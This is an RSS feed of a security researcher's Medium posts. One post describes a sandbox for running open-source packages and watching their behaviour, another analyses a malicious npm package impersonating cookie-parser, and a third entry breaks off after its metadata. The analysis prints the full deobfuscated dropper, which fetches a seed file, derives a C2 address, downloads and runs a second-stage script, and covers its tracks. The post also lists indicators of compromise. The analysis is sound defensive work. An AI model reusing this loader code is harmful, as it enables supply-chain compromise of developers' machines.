<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abhisek Datta on Medium]]></title>
        <description><![CDATA[Stories by Abhisek Datta on Medium]]></description>
        <link>https://medium.com/@abh1sek?source=rss-51e28dbf2098------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*GWpRU1Tj6sWM2H-m76y-Zg.png</url>
            <title>Stories by Abhisek Datta on Medium</title>
            <link>https://medium.com/@abh1sek?source=rss-51e28dbf2098------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 11:21:16 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@abh1sek/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Dynamic Malware Analysis of Open Source Packages at Scale]]></title>
            <link>https://medium.com/@abh1sek/dynamic-malware-analysis-of-open-source-packages-at-scale-582eee96b0b7?source=rss-51e28dbf2098------2</link>
            <guid isPermaLink="false">https://medium.com/p/582eee96b0b7</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[supply-chain]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Abhisek Datta]]></dc:creator>
            <pubDate>Thu, 05 Jun 2025 13:50:35 GMT</pubDate>
            <atom:updated>2025-06-05T13:50:35.092Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Originally published in <a href="https://safedep.io/malicious-npm-package-express-cookie-parser/">SafeDep Engineering blog</a> to support malicious package scanning in <a href="https://github.com/safedep/vet">https://github.com/safedep/vet</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sSLnJtoJNlH9SsOq.png" /></figure><h3>TL;DR</h3><p>At SafeDep we build and operate a large scale open source package monitoring and static code analysis infrastructure. The goal of this infrastructure is to continuously analyse open source packages published in package registries such as npm, pypi, rubygems, Go Proxy etc. and find malicious packages. This service in turn powers tools like <a href="https://github.com/safedep/vet">vet</a> that provides developer and CI/CD guardrails against malicious open source packages. To learn more about this service, refer to <a href="https://docs.safedep.io/cloud/malware-analysis">Malicious Package Analysis</a> docs.</p><p>The static code analysis workflow currently consists of</p><ol><li>YARA Forge rules</li><li>Static Code Analysis to identify risky capabilities in code (e.g. filesystem, network, process operations)</li><li>LLM based code analysis to identify malicious code blocks</li><li>OSS Project and package metadata</li><li>LLM based classification with our knowledge (prompt rules) and package specific context</li></ol><p>While we are continuously extending this system by improving our code analysis based tools and eliminating known false positives, we believe static analysis will always have false positives and negatives. While the inherent benefit of static code analysis approach is to look at <em>code</em> — the source of truth, it is restricted by <a href="https://en.wikipedia.org/wiki/Halting_problem">Halting Problem</a> and in our use-case, by the <a href="https://en.wikipedia.org/wiki/Rice%27s_theorem">Rice’s Theorem</a>. For us, the security research &amp; engineering problem is to make the right trade-off that makes the system effective in real life with the need for human intervention (manual analysis) reducing over time.</p><p>We started exploring the idea of building a complementary system that can verify and correlate static analysis findings. Thats where dynamic analysis comes in ie. the ability to <em>run</em> an open source package in an observed environment and determine its safety status based on <em>real</em> behavior at runtime. For us, the design goals of this system were:</p><ol><li><em>Run</em> an open source package in a sandboxed environment</li><li>Observe all runtime behavior</li><li>Correlate with static analysis results and classify as malicious (or not) based on runtime evidences</li></ol><p>We ended up building a solution by leveraging OSS tools with our custom platform tooling that can</p><ol><li>Execute open source package installation in a sandbox</li><li>Observe the runtime behavior of the container through system call tracing using eBPF</li><li>Collect tracer generated events, filter them and store (log) them in a database with a correlation ID</li><li>Query event log to identify runtime behavior of packages flagged as malicious by our static analysis system</li><li>Determine the approach for automated correlation and analysis to complement our static analysis based detection</li></ol><h3>Key Challenges</h3><ul><li>How do you <em>run</em> an open source package that is essentially a library?</li><li>What is a <em>baseline</em> runtime behavior that can be used to identify anomalies?</li><li>Creating a repository of runtime behavior (rules) for <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a></li><li>Guarantee isolation and containment of package execution while observing &amp; collecting data</li><li>Achieve scale required to analyze every package published to a supported ecosystem (e.g. npm)</li><li>Trade-offs to balance scale and accuracy</li></ul><h3>Technical Analysis</h3><p>As a first step, our goal was to build a system that runs in parallel to our existing static code analysis infrastructure and perform the following</p><ol><li><em>Run</em> an open source package</li><li>Collect runtime behavior data (events)</li><li>Persist runtime behavior data to a database</li><li>Research and identify a classification system for malicious packages based on runtime behavior data</li></ol><p>At this stage, we felt our technical requirements are similar to what is being solved by Google’s (or OpenSSF is it?) <a href="https://github.com/ossf/package-analysis">Package Analysis</a> project. We did take inspiration from the system but unfortunately decided to build our own because</p><ol><li>It is coupled with Google’s internal infrastructure</li><li>It already combines static analysis, we need the ability to correlate our static analysis results</li><li>Avoid dependency on system tools such as strace but to hook into kernel’s system call interface</li><li>Support different executor environments, especially for sophisticated malicious payloads that can detect container environments.</li><li>Emulate system calls and even machine instructions (eg. emulate sleep or fake rdtsc)</li></ol><p>We however took inspiration on some of the solutions in this project especially on <em>running</em> open source packages as implemented in <a href="https://github.com/ossf/package-analysis/tree/main/sandboxes/dynamicanalysis">dynamicanalysis</a> package.</p><p>We had to solve the following problems before we can start working on an implementation</p><ol><li>How to <em>run</em> an open source package</li><li>What sandboxing technology to use?</li><li>How to monitor runtime behavior</li></ol><h3>Running Open Source Packages</h3><p>We decided to start with simple installation commands ie. execute npm install .. or pip install .. However, future work involves attempting to load package files and execute exported functions on a best effort basis. Several challenges exist here:</p><ul><li>Finding exported functions in code are very ecosystem specific</li><li>Identifying valid function parameters can only be best effort basis</li><li>Executing every single exported function will not scale (for us)</li><li>Avoid sleeps &amp; IO waits in executed functions</li><li>Handling errors and retries</li></ul><p>An example malicious package that cannot be analyzed by simply running npm install ... is described at <a href="https://safedep.io/malicious-npm-package-express-cookie-parser/">Malicious NPM Package Express Cookie Parser</a>.</p><h3>Solution Architecture</h3><p>One of our design goals is to have the dynamic analysis system deployed initially in parallel to the existing static analysis system. This is to enable us to perform the R&amp;D required to manually observe the runtime behaviour of known malicious packages and establish a baseline for non-malicious npm, python and other packages at install time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*is1FlNZRzdV3E3ia.png" /></figure><p>To ensure simplicity of design and loose coupling, we introduced</p><ol><li>An executor, that reads package analysis messages from our NATS (as another consumer group)</li><li>Creates a new sandbox and execute package installation command in the sandbox</li><li>The sandbox was created in a VM that is monitored using eBPF</li><li>Monitor generated events are handled by a separate Event Handler that performs filtering and is a placeholder for future correlation with static analysis results</li><li>Events database to store all captured events</li></ol><h3>Sandbox</h3><p>The purpose of sandbox is to limit the blast radius because we are running untrusted and “expected” to be malicious packages with unknown payloads. While only air gap can provide true sandbox in an era when VMMs are being exploited. We made practical choices in terms of “reasonable” isolation, avoid unnecessary complexity while keeping options open for additional layers of protection for guarding against sophisticated attacks such as container escape, kernel exploits etc.</p><h3>Threat Model</h3><p>We considered the following threats as part of the sandbox design because we are executing untrusted and malicious code in our infrastructure</p><ol><li>Execute malicious code to spawn a reverse shell to gain interactive access in the sandbox</li><li>Exploit vulnerabilities for privilege escalation and container escape</li><li>Exploit vulnerabilities in operating system kernel</li><li>Exploit network services within the locally accessible network</li><li>Exploit vulnerabilities in virtual machine monitors (VMM) to break out of virtualization</li></ol><h3>Implementation</h3><p>We decided to go for Docker container based sandbox with DIND. The choice primarily stems from</p><ol><li>Our platform runs on Kubernetes but we want to treat this as just <em>another workload</em> and not a low level service (eg. daemonset)</li><li>Having DIND as a sidecar with the Executor and scaling horizontally with the Executor</li><li>Keeping options open to deploy the “full stack” sandbox (Executor + DIND) in a separate VPC</li><li>Limit communication over local unix sockets to be able to restrict DIND pods completely with NSP</li><li>Leverage familiar Docker client APIs to create containers, execute commands and destroy containers</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9AFkBJBfUjLFfXt3.png" /></figure><p>While the sandbox implementation choice was primarily for engineering simplicity and scalability, we did consider the threats as part of the infrastructure.</p><p>ThreatMitigationExecute malicious code to spawn a reverse shell to gain interactive access in the sandboxNo mitigation. We want this to happen. Containers are ephemeral with hard deadline of execution to avoid long term persistence. Dedicated node pool and planned VPC isolation protects the rest of the infrastructureExploit vulnerabilities for privilege escalation and container escapeDIND provides additional layer of isolation using Linux kernel namespaces. Two container escapes will be required to break out of the sandbox into the underlying Kubernetes node. We plan to implement gVisor in future enhancement along with VPC isolation.Exploit vulnerabilities in operating system kernelUse dedicated Kubernetes node pool with taints and tolerations to guarantee that ONLY the executor pods are running in the node pool. No secret mounted into these pods. Leveraging Kubelet token for lateral movement across the cluster will be an interesting attack to observeExploit network services within the locally accessible networkKubernetes Network Policy to prevent egress to local network CIDR from Pod. Google Cloud firewall rules at VM level to allow access only to Kubernetes API Server and container registry (read-only) required by Kubelet running in the node to pull the imagesExploit vulnerabilities in virtual machine monitors (VMM) to break out of virtualizationNo mitigation. Our entire infra will be pwned with VMM escape vulnerabilities. The low level details are available in the paper Large Scale Cluster Management with Borg.</p><h3>Runtime Monitoring</h3><p>The purpose of runtime monitoring solution is to observe package execution at system call level, generate events using a standard schema, use rules to classify “interesting” events and store the events in an event log for manual or automated analysis. The runtime monitoring solution is completely decoupled from the rest of the system and has the single responsibility of performing systems monitoring. However, we did consider following goals</p><ol><li>Must support Linux kernel and container monitoring (platform requirements)</li><li>Monitor at OS level to reduce environmental footprint (eg. avoid dependency on strace)</li><li>Trade-off application context for performance and stealth</li></ol><p>We decided to go ahead with Falco as our observability technology. The choice was between</p><ol><li>Falco</li><li>Building our own eBPF based solution</li></ol><p>Going ahead with Falco was pretty much obvious for us because we are rolling out an R&amp;D focussed experimental service. It doesn’t makes sense to invest in heavy lifting required for building and productionizing an eBPF based solution till we reach the limitations of the currently available options. In any case, Falco is a CNCF graduated project which indicates the maturity of the solution and meets all our current requirements especially the ability to write custom rules to match various system call parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HUZEMwE6XQ0bGYEO.png" /></figure><ul><li>Falco and Event Handler deployed as Kubernetes DaemonSet</li><li>Falco and Event Handler share emptyDir volume for Falco gRPC socket</li><li>Event Handler is a gRPC client reading Falco events from unix socket</li><li>Event Handler integrates the system with rest of the platform by persisting the event into a database</li><li>Future iterations will have the event handler stream to events to NATS for analysis and correlation</li></ul><h3>Observations</h3><p>Lets start with quick stats and challenges</p><ul><li>100k+ events persisted in database within an hour in production</li><li>12,491,123 events in DB at the time of writing with &lt; 2 weeks in production</li><li>Falco does not allow ip != X based filtering because X is resolved at the time of rule parsing</li><li>Every package manager has its own initializer footprint generating events but baselining is tricky due to behavior differences across versions</li></ul><h3>Performance</h3><ul><li>*n2d-standard-4* is used as the Node type for dynamic analysis, consisting of 4 CPU and 16 GB RAM per node</li><li>Falco and Event Handler containers are deployed with 100m (10% of 1 CPU) CPU and 256Mb memory limit each</li><li>Executor (NATS listener) is deployed with 100m CPU and 256Mb memory limit</li><li>DIND container is deployed with 500m CPU and 512Mb memory limit</li></ul><p>The executor, consisting of NATS listener and DIND container shows low CPU usage indicating potential over provisioning of resources.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DhZySu1J7x-M8BWV.png" /></figure><p>The Falco and Event Handler pods (DaemonSet) on the other hand shows CPU spikes. This is almost certainly due to Falco containers that has higher CPU load due to rule matching on system calls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nX-uKW7h4icr-uX-.png" /></figure><p>Executor (NATS Listener and DIND) memory usage is pretty stable with occasional spikes. It will be curious to identify which packages caused these spikes. At this point, we are guessing that they are caused by packages that required platform specific compilation during installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3tVy2jidcWw-v_Ih.png" /></figure><p>Falco containers however shows sign of memory leak. This may be related to a <a href="https://github.com/falcosecurity/falco/issues/2495">known issue</a>. Our Go based Event Handler may also contribute due to high throughput of event processing and the way Go GC works. Deeper analysis is required to identify the root cause of this memory usage patterns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SaOcF6_6Jqqv9fF4.png" /></figure><h3>Whats next?</h3><p>The technology stack that we built and deployed for runtime analysis is tuned for scale. As per the initial design goal, we have the necessary infrastructure in place to start correlating runtime behavior with our static analysis results. We now can independently perform research on OSS package install time behavior at scale. However, we believe the core value to our users and the large community lies in</p><ol><li>Eliminating noise</li><li>Identifying real malicious packages through its runtime behavior</li><li>Correlate with static analysis infrastructure and reduce false positives</li></ol><p>There are multiple challenges to solve when it comes to classifying runtime behavior that we have observed so far such as</p><ul><li>Command execution is not unusual during installation stage e.g. esbuild node-gyp make and other build tools required to build platform specific binaries by Python, Node or other ecosystem packages</li><li>Package managers have their own initialization footprint that varies across versions due to which base-lining is tricky</li><li>Build telemetry is indistinguishable from malicious C2 behavior especially when it comes to operating at scale without deep packet inspection</li></ul><p>For us the next steps are to identify heuristics and create an approach for base-lining ecosystem specific package installation behavior to identify anomalies. Future work also involves</p><ol><li>Identify sophisticated malicious packages that do not trigger on installation such as <a href="https://safedep.io/malicious-npm-package-express-cookie-parser/">https://safedep.io/malicious-npm-package-express-cookie-parser/</a></li><li>Improve coverage of code execution</li><li>Minimize environmental footprint to avoid malicious code from detecting the analysis environment</li><li>Improve custom rules to better detect malicious payloads</li></ol><h3>References</h3><ul><li><a href="https://github.com/ossf/package-analysis">https://github.com/ossf/package-analysis</a></li><li><a href="https://github.com/safedep/vet">https://github.com/safedep/vet</a></li><li><a href="https://docs.safedep.io/cloud/malware-analysis">https://docs.safedep.io/cloud/malware-analysis</a></li><li><a href="https://falco.org/docs/">https://falco.org/docs/</a></li><li><a href="https://falco.org/docs/concepts/rules/fd-sip-name/">https://falco.org/docs/concepts/rules/fd-sip-name/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=582eee96b0b7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malicious npm Package Impersonating Popular Express Cookie Parser]]></title>
            <link>https://medium.com/@abh1sek/malicious-npm-package-impersonating-popular-express-cookie-parser-2eb4043bc6a4?source=rss-51e28dbf2098------2</link>
            <guid isPermaLink="false">https://medium.com/p/2eb4043bc6a4</guid>
            <category><![CDATA[npm]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[devops]]></category>
            <dc:creator><![CDATA[Abhisek Datta]]></dc:creator>
            <pubDate>Tue, 27 May 2025 18:21:06 GMT</pubDate>
            <atom:updated>2025-05-27T18:21:06.761Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KKQprE9ckwithusu.png" /></figure><p>Originally published in <a href="https://safedep.io/malicious-npm-package-express-cookie-parser/">SafeDep Engineering blog</a>. GitHub project: <a href="https://github.com/safedep/vet">https://github.com/safedep/vet</a></p><p>We found a malicious npm package <a href="https://platform.safedep.io/community/malysis/01JSGWAWH87QKPKGMRK6Q0R6ZH">express-cookie-parser</a> impersonating the popular Express <a href="https://www.npmjs.com/package/cookie-parser">cookie-parser</a> package. The README.md file for express-cookie-parser is a copy from the cookie-parser package. The malicious payload is in cookie-loader.min.js in the analyzed version 1.4.12. This an unique malicious npm sample that does not depend on pre or post install hooks. Instead, the payload is executed when a documented API from the malicious library is used by an affected application.</p><p>The payload performs the following:</p><ul><li>Acts as stage-1 or dropper payload for stage-2 payload</li><li>Fetches seed file <a href="https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example">https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example</a></li><li>Generates a C2 server domain based on hardcoded 496AAC7E and SHA256 hash of the seed file</li><li>The C2 URL is of the format <a href="http://${domain}/public/startup.js?ver=1.2&amp;type=module">http://${domain}/public/startup.js?ver=1.2&amp;type=module</a></li><li>Downloads startup.js from the C2 server and executes it using node executable found on the system</li><li>Deletes cookie-loader.min.js after execution and re-writes index.js to remove require(&#39;./cookie-loader.min&#39;)</li></ul><p>At the time of writing, the URL https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example contains the following payload:</p><pre>JWT_SECRET=<br>EXPIRATION=9999h<br>PORT=5555<br>DB_USER=admin<br>DB_PASS=123456</pre><p>As per our analysis, the SHA256 hash of the above content is used to generate the C2 server domain using a <a href="https://en.wikipedia.org/wiki/Domain_generation_algorithm">Domain Generation Algorithm</a>.</p><h3>Investigation</h3><p>We decided to analyze express-cookie-parser@1.4.12 closely to identify the malicious behavior. The package.json is the most common attack vector for malicious npm packages as we have seen in <a href="https://safedep.io/malicious-npm-package-express-cookie-parser/malysis-evaluation-using-datadog-malicious-packages-dataset">analyzing 5000+ malicious packages</a>. However, for this sample, the package.json appears to be similar to the original cookie-parser package. However, the index.js loads the malicious payload while providing facades for API compatibility.</p><p>Lets take a look at the index.js file:</p><pre>// Loads dependency packages<br>var cookie = require(&#39;cookie&#39;);<br>var signature = require(&#39;cookie-signature&#39;);<br>// Loads the malicious payload<br>require(&#39;./cookie-loader.min&#39;);<br>// [...]<br>function cookieParser(secret, options) {<br>  // Defines the cookieParser function for API compatibility<br>  // [...]<br>}</pre><p>Next we looked at the cookie-loader.min.js file which is the actual malicious payload. However, it was minified and obfuscated to make it harder to read and analyze by humans or static analysis tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*m72iR9MRK4CEBTGD.png" /></figure><p>The cookie-loader.min.js file is a dropper for the startup.js file that is fetched from a remote C2 server generated using a <a href="https://en.wikipedia.org/wiki/Domain_generation_algorithm">Domain Generation Algorithm</a> with a fixed value of 496AAC7E.</p><p>Based on our analysis, cookie-loader.min.js does the following:</p><ul><li>Identifies the path of node executable on the system for Windows, Linux and macOS platforms</li><li>Computes the Google Chrome user data directory path based on the OS for persistence (dropping startup.js)</li><li>Computes C2 domain using <a href="https://en.wikipedia.org/wiki/Domain_generation_algorithm">Domain Generation Algorithm</a> with a fixed value of 496AAC7E and SHA256 hash of the seed file</li><li>Downloads startup.js from the C2 server and executes it using node executable found on the system</li><li>Deletes cookie-loader.min.js after execution and re-writes index.js to remove require(&#39;./cookie-loader.min&#39;)</li></ul><p>It also contains code to delete cookie-loader.min.js after execution and remove the reference from index.js. The following code performs this operation:</p><pre>function f() {<br>  l.unlinkSync(__filename);<br>  var e,<br>    t = r.join(__dirname, &#39;index.js&#39;);<br>  l.existsSync(t) &amp;&amp;<br>    ((e = l.readFileSync(t).toString()), l.writeFileSync(t, e.replace(&quot;require(&#39;./cookie-loader.min&#39;)&quot;, &#39;&#39;)));<br>}</pre><h3>Domain Generation Algorithm (DGA)</h3><p>The C2 server domain is generated using an embedded DGA based on following two parameters</p><ul><li>Hardcoded 4 byte XOR key 496AAC7E</li><li>SHA256 hash of the seed file</li><li>Generate the stage-2 payload URL as <a href="http://${generated-domain}/public/startup.js?ver=1.2&amp;type=module">http://${generated-domain}/public/startup.js?ver=1.2&amp;type=module</a></li></ul><p>Based on our analysis, the DGA does the following:</p><ul><li>XOR each byte of the SHA256 hash of the seed file with the hardcoded key 496AAC7E.</li><li>Convert the 32 byte (XOR’d hash) result to a dotted IP address format</li></ul><p>We derived 206.214.129.67 as the C2 server domain based on SHA256 hash of the seed file https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example and the key 496AAC7E.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iWnD5uLnoqmlE2NR.png" /></figure><p>See the deobfuscated version of the cookie-loader.min.js file for more details.</p><h3>What to do if you are affected?</h3><ul><li>Remove the package using npm remove express-cookie-parser</li></ul><p>For critical systems, we recommend that the system should be considered compromised and appropriate incident response process should kick-in.</p><h3>How can SafeDep help?</h3><p>Our free and open source tool <a href="https://github.com/safedep/vet">vet</a> is integrated with the SafeDep Cloud Package Scanning Service and can be used to detect malicious packages before they are installed. <a href="https://github.com/safedep/vet-action">vet-action</a> is a GitHub Action that can be used to establish proactive guardrails against malicious open source packages in your GitHub Actions workflows.</p><h3>Indicator of Compromise (IOC)</h3><ul><li>Seed file URL <a href="https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example">https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example</a></li><li>C2 server domain generation algorithm key 496AAC7E</li><li>C2 server IP 206.214.129.67 generated by the DGA using SHA256 hash of the seed file and the key 496AAC7E</li></ul><h3>Deobfuscated cookie-loader.min.js</h3><p>Following is the deobfuscated version of the cookie-loader.min.js file:</p><pre>// Import required Node.js modules<br>const { spawn, exec } = require(&#39;child_process&#39;);<br>const path = require(&#39;path&#39;);<br>const https = require(&#39;https&#39;);<br>const http = require(&#39;http&#39;);<br>const fs = require(&#39;fs&#39;);<br>const os = require(&#39;os&#39;);<br>const crypto = require(&#39;crypto&#39;);<br>// Create a SHA-256 hash object for later use<br>const sha256Hash = crypto.createHash(&#39;sha256&#39;);<br>// Base64 encoded URL for the initial payload<br>// Decodes to: https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example<br>const encodedUrl =<br>  &#39;aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU=&#39;;<br>const decodedUrl = atob(encodedUrl);<br>/**<br> * Gets the path to the node executable on the system based on platform<br> * This ensures the malware can run node processes on any OS<br> */<br>function getNodePath() {<br>  // For Linux and macOS<br>  if (os.platform() === &#39;linux&#39; || os.platform() === &#39;darwin&#39;) {<br>    return new Promise((resolve, reject) =&gt; {<br>      exec(&#39;which node&#39;, { windowsHide: true }, (error, stdout, stderr) =&gt; {<br>        if (error || stderr) {<br>          reject(&#39;Node.js not found&#39;);<br>        } else {<br>          resolve(stdout.trim());<br>        }<br>      });<br>    });<br>  }<br>  // For Windows<br>  else if (os.platform() === &#39;win32&#39;) {<br>    return new Promise((resolve, reject) =&gt; {<br>      exec(&#39;where node&#39;, { windowsHide: true }, (error, stdout, stderr) =&gt; {<br>        if (error || stderr) {<br>          callback(null);<br>        } else {<br>          const nodePath = stdout.split(&#39;\n&#39;)[0].trim();<br>          resolve(nodePath);<br>        }<br>      });<br>    });<br>  }<br>}<br>/**<br> * Creates a path for the malicious script<br> * Targets Chrome browser directories for persistence and to avoid detection<br> */<br>let getScriptPath = () =&gt; {<br>  let browserDataDir = null;<br>  const homeDir = os.homedir();<br>  // First attempt: Target Chrome user data directories based on OS<br>  if (os.platform() === &#39;win32&#39;) {<br>    browserDataDir = path.join(homeDir, &#39;AppData&#39;, &#39;Local&#39;, &#39;Google&#39;, &#39;Chrome&#39;, &#39;User Data&#39;);<br>  } else if (os.platform() === &#39;linux&#39;) {<br>    browserDataDir = path.join(homeDir, &#39;.config&#39;, &#39;google-chrome&#39;);<br>  } else if (os.platform() === &#39;darwin&#39;) {<br>    browserDataDir = path.join(homeDir, &#39;Library&#39;, &#39;Application Support&#39;, &#39;Google&#39;, &#39;Chrome&#39;);<br>  }<br>  // Fallback: Use more generic locations if Chrome dirs don&#39;t exist<br>  if (!fs.existsSync(browserDataDir)) {<br>    if (os.platform() === &#39;win32&#39;) {<br>      browserDataDir = path.join(homeDir, &#39;AppData&#39;, &#39;Local&#39;);<br>    } else if (os.platform() === &#39;linux&#39;) {<br>      browserDataDir = path.join(homeDir, &#39;.config&#39;);<br>    } else if (os.platform() === &#39;darwin&#39;) {<br>      browserDataDir = path.join(homeDir, &#39;Library&#39;, &#39;Application Support&#39;);<br>    }<br>  }<br>  // Create directory if it doesn&#39;t exist<br>  if (!fs.existsSync(browserDataDir)) {<br>    fs.mkdirSync(browserDataDir, { recursive: true });<br>  }<br>  // Create a Scripts directory in the browser data folder<br>  const scriptsDir = path.join(browserDataDir, &#39;Scripts&#39;);<br>  // Create Scripts directory if it doesn&#39;t exist<br>  if (!fs.existsSync(scriptsDir)) {<br>    fs.mkdirSync(scriptsDir, { recursive: true });<br>  }<br>  // Return path for the malware script<br>  const malwarePath = path.join(scriptsDir, &#39;startup.js&#39;);<br>  return malwarePath;<br>};<br>/**<br> * Executes a node script in a detached process<br> * This allows the malware to run independently from the parent process<br> */<br>function runScript(scriptPath) {<br>  spawn(&#39;node&#39;, [scriptPath], {<br>    detached: true, // Makes process independent from parent<br>    stdio: &#39;ignore&#39;, // Prevents any output being shown<br>    windowsHide: true, // Prevents window from being shown on Windows<br>  }).unref(); // Allows parent to exit independently<br>}<br>/**<br> * Covers tracks by removing the malicious loader and editing the index.js file<br> * This helps avoid detection after the malware has been installed<br> */<br>function coverTracks() {<br>  // Delete this malicious file<br>  fs.unlinkSync(__filename);<br>  // Remove the require statement from index.js to hide evidence<br>  const indexPath = path.join(__dirname, &#39;index.js&#39;);<br>  if (fs.existsSync(indexPath)) {<br>    const indexContent = fs.readFileSync(indexPath).toString();<br>    // Remove the require statement for this malicious module<br>    fs.writeFileSync(indexPath, indexContent.replace(&quot;require(&#39;./cookie-loader.min&#39;)&quot;, &#39;&#39;));<br>  }<br>}<br>/**<br> * Updates the downloaded script with the absolute path to node<br> * This ensures the script can be executed as a standalone file<br> */<br>async function fixNodePath(scriptPath) {<br>  // Only needed for non-Windows platforms<br>  if (os.platform() !== &#39;win32&#39;) {<br>    const scriptContent = fs.readFileSync(scriptPath).toString();<br>    const nodePath = await getNodePath();<br>    // Replace &quot;node&quot; with the absolute path<br>    const updatedContent = scriptContent.replace(&#39;&quot;node&quot;&#39;, &#39;&quot;&#39; + nodePath + &#39;&quot;&#39;);<br>    fs.writeFileSync(scriptPath, updatedContent);<br>  }<br>}<br>/**<br> * Downloads a file from a URL to a specified location<br> */<br>function downloadFile(url, targetPath) {<br>  // Choose http or https based on URL<br>  let httpModule = url.startsWith(&#39;https&#39;) ? https : http;<br>  return new Promise((resolve, reject) =&gt; {<br>    httpModule.get(url, (response) =&gt; {<br>      if (response.statusCode !== 200) {<br>        reject(&#39;&#39;);<br>        return;<br>      }<br>      const fileStream = fs.createWriteStream(targetPath);<br>      response.pipe(fileStream);<br>      fileStream.on(&#39;finish&#39;, () =&gt; {<br>        resolve(&#39;&#39;);<br>      });<br>    });<br>  });<br>}<br>/**<br> * Domain generation algorithm using XOR operations<br> * Creates C2 (command and control) server address from file hash and fixed value<br> */<br>function generateDomain(hash, fixedValue) {<br>  // XOR each byte of the hash with the fixed value<br>  let result = &#39;&#39;;<br>  for (let i = 0; i &lt; fixedValue.length; i++) {<br>    const xorResult = parseInt(hash[i], 16) ^ parseInt(fixedValue[i], 16);<br>    result += xorResult.toString(16);<br>  }<br>  // Convert the hex result to a dotted IP address format<br>  let ipAddress = &#39;&#39;;<br>  for (let i = 0; i &lt; result.length; i += 2) {<br>    if (ipAddress) {<br>      ipAddress += &#39;.&#39;;<br>    }<br>    ipAddress += parseInt(result.slice(i, i + 2), 16).toString();<br>  }<br>  return ipAddress;<br>}<br>/**<br> * Creates the URL for downloading the actual malware payload<br> */<br>function createMalwareUrl(domain) {<br>  return `http://${domain}/public/startup.js?ver=1.2&amp;type=module`;<br>}<br>/**<br> * Main execution function that orchestrates the attack<br> */<br>function executeAttack() {<br>  // Get the target path for the malware<br>  let targetPath = getScriptPath();<br>  // Download the initial script, generate domain, download malware, and execute it<br>  downloadFile(decodedUrl, targetPath)<br>    .then(() =&gt; {<br>      // Calculate hash of the downloaded file<br>      const fileContent = fs.readFileSync(targetPath);<br>      sha256Hash.update(fileContent);<br>      const fileHash = sha256Hash.digest(&#39;hex&#39;);<br>      // Generate C2 domain using the hash and a fixed value<br>      return createMalwareUrl(generateDomain(fileHash, &#39;496AAC7E&#39;));<br>    })<br>    .then((malwareUrl) =&gt; downloadFile(malwareUrl, targetPath))<br>    .then(() =&gt; fixNodePath(targetPath))<br>    .then(() =&gt; {<br>      // Make the script executable and run it<br>      fs.chmodSync(targetPath, &#39;755&#39;);<br>      runScript(targetPath);<br>    })<br>    .finally(() =&gt; {<br>      // Clean up after 1.5 seconds to allow time for script to execute<br>      setTimeout(() =&gt; {<br>        coverTracks();<br>      }, 1500);<br>    });<br>}<br><br>// Execute the malicious code immediately when this file is required<br>executeAttack();</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2eb4043bc6a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Perils of Parsing — Pixel Flood Attack on Java ImageIO]]></title>
            <link>https://medium.com/chargebee-engineering/perils-of-parsing-pixel-flood-attack-on-java-imageio-a97aeb06637d?source=rss-51e28dbf2098------2</link>
            <guid isPermaLink="false">https://medium.com/p/a97aeb06637d</guid>
            <category><![CDATA[denial-of-service]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[appsec]]></category>
            <category><![CDATA[containers]]></category>
            <category><![CDATA[java]]></category>
            <dc:creator><![CDATA[Abhisek Datta]]></dc:creator>
            <pubDate>Mon, 08 Feb 2021 17:40:40 GMT</pubDate>
            <atom:updated>2021-02-08T17:40:40.819Z</atom:updated>
